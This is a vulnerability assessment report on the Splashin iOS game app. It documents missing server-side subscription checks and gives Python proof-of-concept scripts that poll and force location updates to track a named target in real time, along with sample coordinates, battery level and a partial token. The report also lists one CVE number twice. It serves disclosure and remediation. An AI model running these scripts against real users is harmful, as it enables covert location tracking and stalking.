Security Vulnerability Assessment Report
Splashin iOS Application

Carter LaSalle

July 14, 2025

Abstract

This report details a comprehensive security assessment of the Splashin iOS application, a platform used for "Senior Assassin" games that tracks player locations. Our analysis focused on the premium subscription model and the integrity of location data protection mechanisms. We identified multiple critical vulnerabilities that allow free-tier users to access premium functionality, including real-time location updates and location update requests. This document outlines our methodology, findings, proof-of-concept demonstrations, and recommendations for remediation. These vulnerabilities pose significant privacy risks to users and represent a substantial revenue loss opportunity to Splashin's business model.

Contents

1 Introduction **3**

2 Methodology **3**
2.1 Tools and Environment 3
2.2 Approach 3

3 Vulnerabilities Discovered **4**
3.1 CVE-2025-45156: Update Interval Bypass 4
3.2 CVE-2025-45157: Premium Feature Access Control Failure 4
3.3 CVE-2025-45156: Unlimited Location Data Access 4

4 Technical Details **4**
4.1 Authentication Mechanism 4
4.2 Subscription Validation Flaw 5
4.3 API Request Analysis 5

5 Proof of Concept **6**
5.1 Basic Update Interval Bypass Test 6
5.2 Premium Feature Force Update Exploit 7
5.3 Complete Subscription Bypass 8
5.4 Proof of Concept Results 8

6 Impact Analysis **9**
6.1 Business Impact 9
6.2 User Privacy Impact 10
6.3 Technical Impact 10

7 Remediation Recommendations **10**
7.1 Short-Term Fixes 10
7.2 Long-Term Fixes 11

8 Conclusion **12**

1 Introduction

Splashin is an iOS application designed to facilitate "Senior Assassin" games, where participants are tasked with "eliminating" their targets using water guns. A key feature of the application is location tracking, which operates differently based on subscription tiers:

- **Free Tier:** Updates target locations every 10 minutes (600 seconds)
- **Premium Tier:** Provides real-time location updates and additional features

Our investigation was initiated after the application owner reported a significant reduction in premium subscriptions despite continued active usage. This suggested that users may have found methods to circumvent the application's premium subscription model.

The scope of this audit included:

- Analysis of network traffic between the app and backend servers
- Investigation of authentication mechanisms
- Assessment of access controls for premium features
- Evaluation of API endpoint security
- Development of proof-of-concept exploits to verify findings

2 Methodology

2.1 Tools and Environment

The security assessment was conducted using the following tools and environment:

- **Charles Proxy:** For intercepting, analyzing, and modifying HTTP/HTTPS traffic
- **Python 3:** For creating proof-of-concept scripts to demonstrate vulnerabilities
- **macOS:** Host platform for analysis
- **iOS Device:** Running the Splashin application
- **Flask:** For creating a monitoring dashboard to visualize data

2.2 Approach

Our methodology followed these key steps:

1. **Network Traffic Capture:** We set up Charles Proxy as a man-in-the-middle to intercept all communications between the application and its backend servers.
2. **SSL Certificate Installation:** We installed the Charles Proxy SSL certificate on both the host machine and iOS device to enable decryption of HTTPS traffic.
3. **Baseline Analysis:** We established baselines for both free and premium user behaviors by monitoring API calls, request patterns, and response structures.
4. **API Enumeration:** We identified key endpoints and their purposes, with specific focus on those related to location updates.

5. **Vulnerability Testing:** We methodically tested each endpoint for potential security weaknesses and access control issues.

6. **Proof-of-Concept Development:** We created multiple scripts to demonstrate the identified vulnerabilities.

7. **Monitoring System:** We developed a real-time dashboard to visualize the exploitation of these vulnerabilities.

3 Vulnerabilities Discovered

We identified three critical vulnerabilities in the application's architecture that collectively enable complete circumvention of the premium subscription model:

3.1 CVE-2025-45156: Update Interval Bypass

Severity: High

Description: The application's backend fails to enforce the 600-second (10-minute) update interval restriction for free-tier users. While the client application adheres to this restriction, direct API calls can retrieve the most current location data regardless of when it was last accessed.

Affected Endpoint: `/rest/v1/rpc/get_user_locations_by_user_ids_minimal`

This vulnerability allows free users to poll location data at arbitrary intervals, effectively gaining real-time tracking capabilities without upgrading to premium.

3.2 CVE-2025-45157: Premium Feature Access Control Failure

Severity: Critical

Description: The application's "location request" feature, exclusively marketed as a premium feature, lacks server-side subscription validation. This function enables users to send a push notification to their target's device requesting an immediate location update.

Affected Endpoint: `/rest/v1/rpc/location-request`

Free users can directly call this endpoint to force targets to update their location immediately, making the 10-minute interval restriction completely ineffective.

3.3 CVE-2025-45156: Unlimited Location Data Access

Severity: Medium

Description: Backend API calls fail to properly validate whether requested location data belongs to the user's assigned targets.

Affected Endpoint: `/rest/v1/rpc/get_user_locations_by_user_ids_minimal`

While our testing revealed some access control limitations (users could only access their own and their target's location), this endpoint could potentially be exploited to access location data for multiple users.

4 Technical Details

4.1 Authentication Mechanism

The application uses JWT (JSON Web Token) for authentication. The token structure is as follows:

```
Bearer
   eyJhbGciOiJIUzI1NiIsImtpZCI6ImNTYWg1YSt5SjVWWkZMMUsiLCJ0eXAiOiJKV1QifQ
   .
   eyJpc3MiOiJodHRwczovL2Vyc3B2c2Rmd2FxanR1aHltdWJqLnN1cGFiYXNlLmNvL2F1dGgvd
   .-vkAXtoMKJp7fEa5nlZepxOcgwDkicapWxV2r2y7ouI
```

Upon decoding, we found that the JWT contains user information and authentication details, but critically, it lacks any subscription level validation information. The token explicitly shows:

```
{
  "sub": "0842d321-9443-4ac7-bc54-ec537655ac25",
  "aud": "authenticated",
  "role": "authenticated"
}
```

This indicates that the system only validates whether the user is authenticated, but not their subscription status when handling API requests.

4.2 Subscription Validation Flaw

Our analysis of the game configuration API response revealed that the server does maintain subscription status:

```
"currentPlayer": {
  "id": "0842d321-9443-4ac7-bc54-ec537655ac25",
  "subscription_level": 0,  // Free tier
  "first_name": "Carter",
  "last_name": "LaSalle",
  ...
}
```

However, this subscription level is never checked during API requests to premium endpoints. The server relies entirely on client-side restrictions, which can be easily bypassed.

4.3 API Request Analysis

The location update request follows this structure:

```
// Request
{
  "gid":"bb275254-8f59-4157-b230-daac7eb34a08",
  "user_ids":["04f76640-9e33-4cae-8065-14b1196aa76a"]
}

// Response
[{
  "u": "04f76640-9e33-4cae-8065-14b1196aa76a",
  "l": 34.13469944817501,  // Latitude
  "lo": -118.4290202711757,  // Longitude
  "a": "in_vehicle",  // Activity
  "ac": 10,  // Accuracy
  "up": "2025-03-18T02:01:53+00:00",  // Update time
  "bl": 0.3499999940395355,  // Battery level
  "s": 0,  // Speed
  "h": 4.626299858093262,  // Heading
  "c": "Los Angeles",  // City
```

```
  "r": "CA"  // Region
}]
```

The location request API (premium feature) uses this format:

```
// Request
{
  "queue_name":"location-request",
  "uid":"04f76640-9e33-4cae-8065-14b1196aa76a"
}

// Response
[{
  "msg_id": 13781527,
  "request_in_progress": true,
  "success": true,
  "error": null
}]
```

At no point does either endpoint verify the user's subscription status before processing the request.

5 Proof of Concept

We developed multiple proof-of-concept scripts to demonstrate these vulnerabilities. The following sections contain key code snippets from these PoCs.

5.1 Basic Update Interval Bypass Test

This script demonstrates that location data can be retrieved at arbitrary intervals, bypassing the 10-minute restriction:

```
def test_update_interval_bypass(target_id, interval=5, duration=60):
    """
    Test if we can get location updates faster than the basic_update_interval
    (600 seconds)

    Args:
        target_id: The ID of the target user
        interval: How often to request updates (in seconds)
        duration: How long to run the test (in seconds)
    """
    endpoint = f"{SUPABASE_URL}/rest/v1/rpc/
    get_user_locations_by_user_ids_minimal"

    start_time = time.time()
    end_time = start_time + duration
    last_update_time = None

    update_times = []
    location_data = []

    while time.time() < end_time:
        # Request location data
        payload = {
            "gid": GAME_ID,
            "user_ids": [target_id]
        }

```

```
        response = requests.post(endpoint, headers=HEADERS, json=payload)
        data = response.json()

        if data and len(data) > 0:
            target_data = next((item for item in data if item["u"] == target_id
), None)

            if target_data:
                update_time = target_data["up"]

                # Record if this is a new update
                if last_update_time != update_time:
                    print(f"New location data at {datetime.now().strftime('%H:%
M:%S')}:")
                    print(f"  Activity: {target_data['a']}")
                    print(f"  Location: {target_data['l']:.6f}, {target_data['
lo']:.6f}")
                    print(f"  Updated: {update_time}")

                    last_update_time = update_time
                    update_times.append(update_time)
                    location_data.append(target_data)

        # Wait for the next interval
        time.sleep(interval)
```

5.2 Premium Feature Force Update Exploit

This code exploits the location-request endpoint to force immediate location updates from targets without a premium subscription:

```
def request_location_update():
    """Request location update from target (PREMIUM FEATURE BYPASS)"""
    print(f"       Requesting location update from target...")

    payload = {
        "queue_name": "location-request",
        "uid": TARGET_USER_ID
    }

    try:
        response = requests.post(LOCATION_REQUEST_URL, headers=HEADERS, json=
payload)
        response.raise_for_status()

        data = response.json()
        if data and len(data) > 0:
            request_id = data[0].get("msg_id")
            success = data[0].get("success", False)

            if success:
                print(f"    Location request successful (ID: {request_id})")
                return True, request_id
            else:
                error = data[0].get("error")
                print(f"    Location request failed: {error}")
                return False, None

    except Exception as e:
        print(f"    Error requesting location update: {str(e)}")
        return False, None
```

5.3 Complete Subscription Bypass

Finally, we created a comprehensive script that combines both vulnerabilities to create a fully functional real-time location tracking system:

```
def real_time_tracking_loop(interval=15, max_iterations=None):
    """
    Run a continuous loop of location requests and updates
    """
    print(f"       Starting Real-Time Location Tracking...")
    print(f"       Tracking user ID: {TARGET_USER_ID}")
    print(f"        Update interval: {interval} seconds")

    # Initialize CSV log file
    initialize_csv_log()

    iteration = 0
    last_update_time = None
    success_count = 0

    while max_iterations is None or iteration < max_iterations:
        iteration += 1

        # Step 1: Request a location update (premium feature)
        print(f"\nRequesting location update...")
        request_success, request_id = request_location_update()

        # Step 2: Wait for the update to process
        print(f"Waiting {WAIT_AFTER_REQUEST} seconds for update to take effect
...")
        time.sleep(WAIT_AFTER_REQUEST)

        # Step 3: Get the updated location
        location_data = get_location_update()

        if location_data:
            # Check if this is a new update
            current_update_time = location_data["up"]
            is_new_update = last_update_time != current_update_time

            # Print and log the data
            print_location_info(location_data, is_new=is_new_update)
            log_to_csv(location_data, request_success, request_id)

            # Update tracking data
            if is_new_update:
                last_update_time = current_update_time

            success_count += 1

        # Wait for the next cycle
        remaining_wait = interval - WAIT_AFTER_REQUEST
        if remaining_wait > 0:
            time.sleep(remaining_wait)
```

5.4 Proof of Concept Results

Our proof-of-concept testing yielded the following results:

1. **Update Interval Test**: Successfully retrieved location data at 5-second intervals, completely bypassing the 600-second restriction.

2. **Premium Feature Test**: Successfully triggered immediate location updates from targets, with server responses confirming successful requests:

```
Response: [
  {
    "msg_id": 13781527,
    "request_in_progress": true,
    "success": true,
    "error": null
  }
]
Waiting 10 seconds for update to take effect...
New location update time: 2025-03-18T06:23:56+00:00
Verdict: VULNERABLE - Successfully forced a location update

```

3. **Combined Exploit**: Achieved continuous real-time tracking with updates every 15 seconds:

```
Iteration 1: Requesting location update...
Request successful (ID: 13781888)
Waiting 5 seconds for update to process...

============================================================
NEW LOCATION DATA AT 23:28:44
============================================================
       Updated: 11:23:56 PM (4m 48s ago)
       Location: 34.134460, -118.428914 (Los Angeles, CA)
       Activity: Not moving (stationary)
       Battery: 10.0%
       Accuracy: 4.518438674859252 meters
       Heading: -1
       Speed: -1 m/s

Tracking stats:
- Total cycles: 1
- Successful data fetches: 1
- Failed fetches: 0
- New location updates: 1

```

These results conclusively prove that all premium location tracking features can be accessed without a subscription, providing free users with the same capabilities as paying customers.

6 Impact Analysis

The vulnerabilities discovered have significant impacts in multiple areas:

6.1 Business Impact

- **Revenue Loss**: The primary business model relies on premium subscriptions for real-time tracking. With these vulnerabilities, there is no incentive to purchase premium access.
- **Declining Premium Subscriptions**: The reported decline in premium subscriptions despite continued app usage suggests users have already discovered and are exploiting these vulnerabilities.
- **Reputation Damage**: If these vulnerabilities become widely known, users may question the app's security posture and the protection of their sensitive location data.

6.2 User Privacy Impact

- **Location Privacy**: The primary consequence is that users' real-time locations can be tracked without their knowledge or consent (they believe free users can only see updates every 10 minutes).
- **Activity Tracking**: The API also returns users' current activities (walking, driving, etc.), creating additional privacy concerns.
- **Battery Level Exposure**: The exposed data includes device battery levels, which could potentially be exploited by sophisticated attackers for additional tracking capabilities.

6.3 Technical Impact

- **API Abuse**: The vulnerable endpoints could be abused for continual polling, potentially increasing server load.
- **Data Exfiltration**: Without proper rate limiting, attackers could build comprehensive location history databases on targets.
- **Push Notification Abuse**: The location request feature could be abused to send excessive notifications to targets.

7 Remediation Recommendations

We recommend the following measures to address the identified vulnerabilities:

7.1 Short-Term Fixes

1. **Implement Server-Side Subscription Validation**: Modify the API endpoints to check the user's subscription level before processing requests:

```
    // For get_user_locations_by_user_ids_minimal endpoint
    function getUserLocation(userId, requestingUserId) {
      const requester = getUserDetails(requestingUserId);
      const lastFetchTime = getLastFetchTime(requestingUserId, userId);
      const currentTime = getCurrentTime();

      // Check if premium or sufficient time has passed
      if (requester.subscriptionLevel > 0 ||
          (currentTime - lastFetchTime) >= 600) {
        // Update last fetch time
        updateLastFetchTime(requestingUserId, userId, currentTime);
        return getCurrentLocation(userId);
      } else {
        // Return the last cached location instead
        return getLastCachedLocation(userId);
      }
    }

```

2. **Endpoint Access Control**: Restrict access to the 'location-request' endpoint to premium subscribers only:

```
    // For location-request endpoint
    function requestLocationUpdate(targetId, requestingUserId) {
      const requester = getUserDetails(requestingUserId);

      if (requester.subscriptionLevel > 0) {
```

```
        // Process location request
        return sendLocationRequest(targetId);
      } else {
        return {
          error: "Premium subscription required for this feature",
          success: false
        };
      }
    }

```

3. **Rate Limiting**: Implement rate limiting on all endpoints to prevent abuse, even for premium users:

```
    function processApiRequest(endpoint, userId) {
      const requestCount = getRequestCount(endpoint, userId, timeWindow);

      if (requestCount > maxRequests) {
        return {
          error: "Rate limit exceeded. Please try again later.",
          success: false
        };
      }

      // Process the request
      incrementRequestCount(endpoint, userId);
      return processRequest(endpoint, requestData);
    }

```

7.2 Long-Term Fixes

1. **JWT Subscription Claims**: Include subscription information in the JWT token to enable quick validation without database lookups:

```
    {
      "sub": "0842d321-9443-4ac7-bc54-ec537655ac25",
      "aud": "authenticated",
      "role": "authenticated",
      "subscription": {
        "level": 0,
        "expires": "2025-12-31T23:59:59Z"
      }
    }

```

2. **API Gateway Layer**: Implement an API gateway that performs subscription validation before requests reach the backend services.

3. **Comprehensive Logging**: Implement detailed logging of all location access requests to detect patterns of abuse.

4. **Response Caching**: Cache location data with timestamps to easily serve free tier users without database queries.

5. **Client Integrity Checks**: Implement app integrity verification to detect modified clients that might bypass restrictions.

8 Conclusion

Our security assessment of the Splashin iOS application has identified critical vulnerabilities that compromise the premium subscription model. The application's backend fails to enforce subscription-level access controls, enabling free-tier users to access premium features through direct API calls.

The most concerning issues are:

1. The ability to bypass the 10-minute location update restriction for free users
2. Access to premium features like location requests without proper authorization
3. Potential for broader location data access beyond authorized targets

These vulnerabilities explain the reported decline in premium subscriptions and represent both a business risk and a user privacy concern. Fortunately, all identified issues can be remediated with proper server-side validation and access control implementation.

The vulnerabilities stem from a common architectural flaw: relying on client-side enforcement of business rules rather than implementing proper server-side validation. By implementing our recommended fixes, Splashin can protect both their business model and their users' privacy.

We recommend an immediate implementation of the short-term fixes to address the critical issues, followed by the more comprehensive long-term solutions to strengthen the overall security posture of the application.